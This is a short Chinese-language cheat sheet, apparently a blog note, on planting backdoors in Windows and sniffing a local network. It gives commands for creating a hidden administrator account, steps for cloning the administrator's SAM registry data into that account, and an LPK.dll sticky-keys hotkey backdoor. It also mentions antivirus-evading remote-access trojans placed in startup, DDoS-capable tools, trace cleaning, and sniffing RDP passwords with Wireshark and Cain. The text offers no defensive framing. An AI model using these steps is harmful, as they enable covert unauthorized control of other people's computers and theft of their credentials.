windows留後門與區域網路抓包

標籤：ascii碼   一個   mini   can   ipc   下載   cal   註冊   關閉   

嗅探3389密碼
wireshark
cain

windows安裝後門:
帳號後門:
net user
net user 帳號$ 密碼 /add 加$符變為隱藏帳號
net localgrop administrators 帳號 /add
net user 帳號 /del 刪除帳號

系統內建帳號改密碼  記錄名字regedit   開啟註冊表HKEY_LOCAL_MACHINE->SAM->SAM右鍵設定許可權   重新整理   users->name  找到帳號  看類型   上面找到該帳號先找到管理員(administrator)帳號  雙擊類型為REG_BINATY第一個  所有資料複製粘貼進後門帳號關閉sam檔案夾許可權

LPK後門：
產生lpk.dll
索引值為ascii碼，2鍵同步選取2個鍵，3鍵同步選取三個鍵 產生
exe可執行程式觸發
五次shift，同步選取設定的熱鍵，彈出密碼框，輸入密碼登入
×××後門：
遠控上線+×××免殺，×××丟進開機啟動項
部分帶壓力測試遠控可進行DDOS×××
windows清理痕迹可下載清理工具
允許外連:
***工具:navicat premium essentials
不允許外連：
***指令碼

資訊搜集:
nmap
zenmap
scanport
ntscan
arp -a
net view 查看其它電腦主機名稱
查看ip:
ipconfig

getpass

流量監聽:
wiresharke
cain
sniffer pass

windows留後門與區域網路抓包